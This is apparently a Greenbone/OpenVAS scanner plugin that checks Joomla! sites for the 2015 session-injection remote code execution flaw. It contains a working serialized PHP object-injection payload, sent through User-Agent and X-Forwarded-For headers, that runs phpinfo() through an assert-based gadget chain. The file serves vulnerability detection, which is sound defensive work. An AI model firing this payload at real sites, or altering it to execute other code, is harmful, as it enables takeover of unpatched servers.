Joomla! Core Remote Code Execution Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = 'cpe:/a:joomla:joomla';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105486");
  script_cve_id("CVE-2015-8562", "CVE-2015-8563", "CVE-2015-8564", "CVE-2015-8565");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2023-07-25T05:05:58+0000");
  script_name("Joomla! Core Remote Code Execution Vulnerability");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-12-16 15:35:12 +0100 (Wed, 16 Dec 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/79195");
  script_xref(name:"URL", value:"https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute arbitrary code
  in the context of the affected application.");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response for the
  output of the phpinfo() command.");

  script_tag(name:"insight", value:"Browser information is not filtered properly while saving the session values
  into the database which leads to a Remote Code Execution vulnerability.");

  script_tag(name:"solution", value:"Update to 3.4.6 or later.");

  script_tag(name:"summary", value:"Joomla! is prone to remote code-execution vulnerability.");

  script_tag(name:"affected", value:"Joomla 1.5.0 through 3.4.5, Joomla 3.2.0 through 3.4.5 and Joomla 3.4.0
  through 3.4.5");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_active");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

vtstrings = get_vt_strings();

if (dir == "/")
  dir = "";

ex = 'phpinfo();JFactory::getConfig();exit';
ex_len = strlen( ex );

agent = '}__' + vtstrings["default"] + '|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"' +
        "\0\0\0" + 'disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql"' +
        ':0:{}s:8:"feed_url";s:' + ex_len + ':"' + ex + '"' +
        ';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"' +
        "\0\0\0" + 'connection";b:1;}';

agent += '\xf0\xfd\xfd\xfd';

injection = make_list( "User-Agent:","X-Forwarded-For:" );

host = http_host_name( port:port );
cookie = NULL; # nb: To make openvas-nasl-lint happy...

foreach inj ( injection ) {
  for( i = 0; i < 4; i++ ) {
    req = 'GET ' + dir + '/ HTTP/1.1\r\n' +
          'Host: ' + host + '\r\n' +
          'Connection: close\r\n';

    if( cookie ) req += 'Cookie: ' + cookie + '\r\n';

    req += 'Accept-Encoding: identity\r\n' +
           'Accept: */*\r\n' +
           inj + ' ' + agent + '\r\n\r\n';

    buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( ! cookie ) {
      co = eregmatch( pattern:'Set-Cookie: ([^\r\n]+)', string:buf );
      cookie = co[1];
    }

    if( "<title>phpinfo()</title>" >< buf ) {
      security_message( port:port );
      exit( 0 );
    }
  }
}

exit( 99 );